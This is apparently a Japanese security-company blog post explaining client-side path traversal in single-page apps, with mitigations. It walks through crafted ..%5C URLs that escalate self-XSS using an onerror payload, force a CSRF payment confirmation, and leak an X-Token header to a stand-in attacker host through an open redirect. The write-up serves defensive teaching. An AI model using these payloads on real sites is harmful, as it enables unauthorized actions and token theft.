
はじめに
こんにちは。株式会社GMO Flatt Securityセキュリティエンジニアの森(@ei01241)です。
近年、React、Vue、Angularといったフロントエンドフレームワークを用いたSPAの開発が主流となり、Webアプリケーションにおけるクライアントサイドの役割はますます増大しています。動的なルーティングやAPIからのデータ取得など、多くの処理がJavaScriptによって実行されます。
このようなクライアントサイドでの処理の増加に伴い、新たなセキュリティリスクも生まれています。その一つがクライアントサイドのパストラバーサルです。サーバーサイドのパストラバーサルほど広く認知されていないかもしれませんが、適切に対策しなければ、CSRFやアクセストークンのリークなどにつながる可能性があります。
本稿では、クライアントサイドパストラバーサルがどのような脆弱性であり、どのような影響を及ぼし、そしてどのように対策すべきかを解説します。
免責事項
本稿の内容はセキュリティに関する知見を広く共有する目的で執筆されており、脆弱性の悪用などの攻撃行為を推奨するものではありません。許可なくプロダクトに攻撃を加えると犯罪になる可能性があります。当社が記載する情報を参照・模倣して行われた行為に関して当社は一切責任を負いません。
- はじめに
- 免責事項
- クライアントサイドパストラバーサルの概要
- クライアントサイドパストラバーサルの原理
- クライアントサイドパストラバーサルの応用
- クライアントサイドパストラバーサルの対策
- おわりに
- GMO Flatt Securityの開発組織のためのセキュリティサービス
- 参考文献
クライアントサイドパストラバーサルの概要
クライアントサイドパストラバーサルとは、被害者に「Same Originな任意のパスに向けたリクエスト送信」を強制できる脆弱性です。Webアプリケーションのクライアントサイドが、ユーザーが制御可能な入力値をURLに利用する際に、その入力値を適切に検証しないことが原因で発生します。
これは、サーバー上の意図しないファイルにアクセスするサーバーサイドのパストラバーサルとは異なり、クライアントのコンテキスト内で発生し、クライアントがアクセス可能なリソースやクライアントサイドの動作に影響を与える点が特徴です。
クライアントサイドパストラバーサルの原理
脆弱性を見る前に、まずは正常系を確認しましょう。
正常系
例えば、クライアントサイドでルーティングしたパスのidを利用し、そのパスを動的に組み立ててAPIアクセスして、レスポンスを表示する機能があるとします。
クライアントサイドのルーティングページ
<Routes> <Route path="/posts/:id" element={<Posts />} /> </Routes>
クライアントサイドの投稿詳細ページ
const { id } = useParams(); const res = await fetch(`/api/posts/${id}`);
正常系のフローは以下の通りです。

idが12だったとします。
- ユーザーが
/posts/12にアクセスする - JavaScriptは
idとして12を取得する 文字列を結合して
GET /api/posts/12をfetchするGET /api/posts/12 HTTP/1.1レスポンスのJSONを取得する
HTTP/1.1 200 OK Content-Type: application/json { "content": "<p>hello</p>" }contentの値を表示する
では、ここでidに..%5C..%5Chogeを渡すとどうなるでしょうか?
異常系
異常系のフローは以下の通りです。

- ユーザーが
/posts/..%5C..%5Chogeにアクセスする - JavaScriptは
idとして..%5C..%5Chogeを取得する - 取得した文字列を結合する
/api/posts/..\..\hoge - その結果、
/hogeと評価する GET /hogeをfetchするGET /hoge HTTP/1.1エラーレスポンスのHTMLを取得する
HTTP/1.1 404 Not Found Content-Type: text/html <!DOCTYPE html> ...contentの値を取得しようとするが、JSONでもないためエラーを出力する
ここまでで原理についてはわかりました。しかし、一体何が嬉しいのでしょうか?一見すると、Same Originな任意のパスにGETリクエストさせるなら、従来の手法通り罠リンクにアクセスさせるだけでも良さそうに見えます(例えば、副作用があるGETリクエストはそもそも素直に罠リンクにアクセスさせればいいです)。
実は、クライアントサイドパストラバーサルの真価は他の脆弱性と組み合わせることで発揮されます。他の脆弱性の組み合わせを見ていきましょう。
クライアントサイドパストラバーサルの応用
クライアントサイドパストラバーサルは他の脆弱性と組み合わせることで真価を発揮します。
ここでは、以下の3パターンの組み合わせについてそれぞれ見ていきましょう。
- Self XSSからXSSへの昇格
- CSRF(CSPT2CSRF)
- カスタムヘッダーのリーク
Self XSSからXSSへの昇格
Self XSSとは、ユーザー自身がペイロードを入力することでユーザー自身にのみ発火するXSSです。そのままでは被害者に対して影響を与えられないため、攻撃者はこれを通常のXSS(攻撃者が罠を仕掛け、それをユーザーに踏ませる)に昇格したいモチベーションがあります。
先ほどの例でcontentに対してSelf XSSが存在するとします。
HTTP/1.1 200 OK
Content-Type: application/json
{
"content": "<img src onerror=alert(origin)>"
}
どうにかして、被害者に上記のようなJSONを返すエンドポイントにリクエストさせることができれば、被害者のブラウザでXSSが発火します。しかし、どうしたら良いでしょうか?
仮に、攻撃者が制御できてXSSが発火するようなJSONを返すエンドポイント(/arbitraryContent)が存在する場合には、クライアントサイドパストラバーサルを利用してSelf XSSをXSSに昇格できます。攻撃者が行うことは罠リンクを被害者に開かせるだけです。

- 被害者が
/posts/..%5C..%5CarbitraryContentにアクセスする - JavaScriptは
idとして..%5C..%5CarbitraryContentを取得する 文字列を結合した結果、
GET /arbitraryContentをfetchするGET /arbitraryContent HTTP/1.1レスポンスのJSONを取得する
HTTP/1.1 200 OK Content-Type: application/json { "content": "<img src onerror=alert(origin)>" }contentの値を表示してXSSが発火する
さて、たしかに攻撃者が制御できてXSSが発火するようなJSONを返すエンドポイントが存在する場合には、Self XSSをXSSに昇格できそうです。しかし、そんな都合の良いJSONを返すエンドポイントは存在するのでしょうか?
実は、以下の機能やエンドポイントは攻撃者が制御できてXSSが発火するようなJSONを返せる場合があります。
- ファイルアップロード機能
- オープンリダイレクトの脆弱性が存在するエンドポイント
- 同じか過多なJSONのプロパティを返すエンドポイント
それぞれを見ていきましょう。
ファイルアップロード機能
GET /files/123で攻撃者がアップロードしたJSONファイルを参照できる場合には以下の手順でSelf XSSをXSSに昇格できます。

予め攻撃者が
POST /filesで以下のJSONをファイルとしてアップロードするPOST /files HTTP/1.1 Content-Type: application/json { "content": "<img src onerror=alert(origin)>" }被害者が
/posts/..%5C..%5Cfiles%5C123にアクセスする- JavaScriptは
idとして..%5C..%5Cfiles%5C123を取得する 文字列を結合した結果、
GET /files/123をfetchするGET /files/123 HTTP/1.1レスポンスのJSONを取得する
HTTP/1.1 200 OK Content-Type: application/json { "content": "<img src onerror=alert(origin)>" }contentの値を表示してXSSが発火する
オープンリダイレクト
他にも、/redirect?url=...で300系のオープンリダイレクトが存在する場合には以下の手順でSelf XSSをXSSに昇格できます。

予め攻撃者が
https://attacker-jsonで以下のJSONを返すようにする{ "content": "<img src onerror=alert(origin)>" }被害者が
/posts/..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-json%2Fにアクセスする- JavaScriptは
idとして..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-json%2Fを取得する - 文字列を結合した結果、
GET /redirect?url=https://attacker-jsonをfetchする 302レスポンスを取得する
HTTP/1.1 302 Found Location: https://attacker-jsonリダイレクトして
https://attacker-jsonにアクセスするレスポンスのJSONを取得する
HTTP/1.1 200 OK Content-Type: application/json { "content": "<img src onerror=alert(origin)>" }contentの値を表示してXSSが発火する
同じか過多なJSONのプロパティを返すエンドポイント
他にも、あるエンドポイントが元のレスポンスと同じまたは過多なプロパティのJSONを返す場合には以下の手順でSelf XSSをXSSに昇格できます。
例えば、同じプロパティか過多なプロパティのJSONとは、それぞれ次のようなJSONになります。
{ "content": "<p>hello</p>" }
{ "name": "flatt" "content": "<p>hello</p>" }
このようなJSONを返すエンドポイント(例えば、/profile)を見つけて、予めSelf XSSペイロードを返すようにする必要があるということです。

攻撃者が
POST /profileを更新し、以下のJSONを返すようにするPOST /profile HTTP/1.1 Content-Type: application/json { "content": "<img src onerror=alert(origin)>" }被害者が
/posts/..%5C..%5Cprofile%5C123にアクセスする- JavaScriptは
idとして..%5C..%5Cprofile%5C123を取得する 文字列を結合した結果、
GET /profile/123をfetchするGET /profile/123 HTTP/1.1レスポンスのJSONを取得する
HTTP/1.1 200 OK Content-Type: application/json { "content": "<img src onerror=alert(origin)>" }contentの値を表示してXSSが発火する
ここまでで、クライアントサイドパストラバーサルと3パターンの脆弱性をそれぞれ組み合わせることで、Self XSSをXSSに昇格できることがわかりました。
では、他にどんな脆弱性との組み合わせが考えられるでしょうか?
CSRF(CSPT2CSRF)
現代のブラウザではSameSite Cookieやカスタムヘッダーによる認証などによってCSRFは減ってきていますが、依然として大きな脅威ではあります。ここで、クライアントサイドパストラバーサルを組み合わせることで、従来のCSRFでは付与できないカスタムヘッダーやSameSiteなCookieを付与してリクエストできます(Same OriginであればSameSiteです)。つまり、CSRFの範囲を拡張させる脆弱性とも言えるわけです。
そして、クライアントサイドパストラバーサルによるCSRFを考えるためには、ソースとシンクに分離して考えます。
今回のケースにおいて、ソースとはクライアントサイドパストラバーサルを引き起こすユーザー入力のことです。次のようなユーザー入力が考えられます。
- パスパラメーター
- クエリパラメーター
- フラグメント
- Web Storage
今回のケースにおいて、シンクとはクライアントサイドパストラバーサルによって発行される正常なAPIリクエストのことです。攻撃者はメソッド、ヘッダー、リクエストボディは制御できないため、どんなAPIリクエストが送信できるかはフロントエンドの実装に依存します。送信できるリクエストがGETの場合はGETシンク、POSTの場合はPOSTシンクというように、CSPT2CSRFの文脈ではメソッド名を付けたシンクで呼ぶことが多いようです。
脆弱性を見る前に、まずは正常系を確認しましょう。
正常系
例えば、クライアントサイドのidをパスに文字列結合してAPIにリクエストし、そのレスポンスに値が反射されるとします。
そして、その反射されたレスポンスのidをクライアントサイドでパスに文字列結合して、AuthorizationヘッダーとCSRFトークンを付与してPOSTリクエストする機能があるとします。
クライアントサイドのルーティングページ
<Routes> <Route path="/note/draft?id=:id" element={<Posts />} /> </Routes>
クライアントサイドの投稿詳細ページ
const { id } = useParams(); const res = await fetch(`/api/note/draft?id=${id}`); const data = await res.json(); await fetch(`/api/note/${data.id}/details`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${bearer}`, 'CSRF-Token': `${csrf_token}` }, body: JSON.stringify({}), });
GET /api/note/draft?id=${id}の想定レスポンスは以下の通りです。
{ "id": "${id}" }
正常系のフローは以下の通りです。

- ユーザーが
/note/draft?id=123にアクセスする JavaScriptは
idとして123を取得し、文字列を結合した結果、GET /api/note/draft?id=123をfetchするGET /api/note/draft?id=123 HTTP/1.1レスポンスとして
idを受け取る{ "id": "123" }JavaScriptは
idとして123を取得する文字列を結合した結果、
POST /api/note/123/detailsをfetchするPOST /api/note/123/details HTTP/1.1 Authorization: Bearer bearer CSRF-Token: csrf_token {}
ここでのソースはクエリパラメーターで、シンクはPOSTシンクということになります。
ここで例えば、事前にカートに入れていた決済を確定する別のエンドポイントが次のコードで実装されているとします。
await fetch(`/api/payment/${id}/confirm`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${bearer}`, 'CSRF-Token': `${csrf_token}` }, body: JSON.stringify({}), });
攻撃手順
この場合、以下の手順でCSRFができます。

- 被害者が
/note/draft?id=..%5Cpayment%5C12%5Cconfirm?にアクセスする JavaScriptは
idとして..%5Cpayment%5C12%5Cconfirm?を取得し、文字列を結合した結果、GET /api/note/draft?id=..%5Cpayment%5C12%5Cconfirm?をfetchするGET /api/note/draft?id=..%5Cpayment%5C12%5Cconfirm? HTTP/1.1レスポンスとして
idを受け取る{ "id": "..%5Cpayment%5C12%5Cconfirm?" }JavaScriptは
idとして..%5Cpayment%5C12%5Cconfirm?を取得する文字列を結合した結果、
POST /api/payment/12/confirm?/detailsをfetchするPOST /api/payment/12/confirm?/details HTTP/1.1 Authorization: Bearer bearer CSRF-Token: csrf_token {}意図せずに決済の確定がされる(CSRF)
ここではクエリパラメーターがレスポンスのJSONに反射する実装を考えましたが、このケースに限らず元のJSONと同じか過多なプロパティを返してかつidを自由に制御できるエンドポイントが見つかれば、フロントエンド上で見つけた任意のPOSTシンクを用いた攻撃が可能です。
なお、APIサーバーはリクエストのJSONのプロパティが過多であっても許容することが多いため、POSTシンクなどはプロパティ過多でも問題ないことが多いです。
さて、XSSとCSRF以外にもクライアントサイドパストラバーサルの組み合わせが考えられないでしょうか?
カスタムヘッダーのリーク
例えば、カスタムヘッダーでアクセストークンを送信するとします。
GET / HTTP/1.1 Host: example.com X-Token: xxxxxxxxxx
/redirect?url=...で300系のオープンリダイレクトが存在する場合には以下の手順でカスタムヘッダーをリークできます。ただし、Authorizationヘッダーはブラウザで対策されているためリークできません。

予め攻撃者は
https://attacker-hostで以下のプリフライトレスポンスを返すようにするHTTP/1.1 200 OK Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Headers: X-Token被害者が
/posts/..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-host%2Fにアクセスする- JavaScriptは
idとして..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-host%2Fを取得する 文字列を結合した結果、
`GET /redirect?url=https://attacker-hostをfetchするGET /redirect?url=https://attacker-host HTTP/1.1302レスポンスを取得する
HTTP/1.1 302 Found Location: https://attacker-hostリダイレクトして
https://attacker-hostにプリフライトリクエストを送信するOPTIONS / HTTP/1.1 Host: attacker-host Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Tokenプリフライトレスポンスを取得する
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Headers: X-Tokenカスタムヘッダーがリークする
GET / HTTP/1.1 Host: attacker-host X-Token: xxxxxxxxxx
ここまでで、クライアントサイドパストラバーサルの原理、応用までを見てきました。最後に対策を考えてみましょう。
クライアントサイドパストラバーサルの対策
APIアクセスの前にクライアントサイドで入力値を検証する
APIアクセスの前にクライアントサイドで入力値を検証しましょう。例えば、APIに送信するIDが数値であることが確定している場合、JavaScriptの正規表現などを用いて、数値以外の文字が含まれていないかを検証します。これにより、攻撃者が悪意のあるパス文字列を紛れ込ませることを防ぎます。また、検証の際にはURLの正規化によるバイパスに注意しましょう。攻撃者は、URLエンコードや相対パスの異なる表現(./、//など)を利用して、バリデーションをバイパスしようとする可能性があります。APIにリクエストを送信する前に、URLSearchParamsなどを利用してパラメータを適切にエンコードし、意図しないパスの解釈を防ぎましょう。
const userId = userInput; const idRegex = /^[0-9]+$/; if (!idRegex.test(userId)) { console.error("無効なユーザーIDです。"); return; } fetch(`/api/users/${userId}`);
過多なJSONプロパティをリクエスト/レスポンスで拒否する(ただし、副次的な対策です)
可能であれば、過多なJSONプロパティをリクエスト/レスポンスで拒否しましょう。APIとの通信において、予期しないプロパティがリクエストやレスポンスに含まれている場合、それが攻撃者の意図的な注入である可能性があります。クライアントサイドで、APIに送信するJSONオブジェクトに必要なプロパティのみを含めるようにし、予期しないプロパティが含まれていないかチェックする処理を追加することを検討しましょう。ただし、この対策はJSONの柔軟性を制限する対策であるため、クライアントサイドで入力値を検証することが最優先になります。
おわりに
本稿では、SPAにおけるパストラバーサルを具体例と共に紹介しました。SPAのパストラバーサルは発見されてから日が浅く、まだまだ広く知見が浸透していないと感じています。入力値を検証することはセキュリティ対策の基本ですが、クライアントサイドの検証は盲点になりやすいのかもしれません。 本稿がSPAセキュリティの一助になれば幸いです。
GMO Flatt Securityの開発組織のためのセキュリティサービス
参考文献
- 注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3 - Speaker Deck
- Client Side Path Traversal - HackTricks
- Client Side Path Manipulation | Erasec
- Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF · Doyensec's Blog
- CSPT the Eval Villain Way! · Doyensec's Blog
- Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal · Doyensec's Blog
- https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf
- https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf
- https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html
- Grafana: CVE-2023–5123 write-up. In September 2023, Michelin CERT… | by Maxime Escourbiac | Medium
- The power of Client-Side Path Traversal: How I found and escalated 2 bugs through “../” | by Alvaro Balada | Medium
- Client Side Path Traversal (CSPT) Bug Bounty Reports and Techniques | by Renwa | Medium
- Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - "><img/src="/%ff/"/onerror=alert(/blog.xss.am/)>"<
- Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson
- Client-Side Path Traversal Leads to Account Deletion
- Client-Side Path Traversal | VeryLazyTech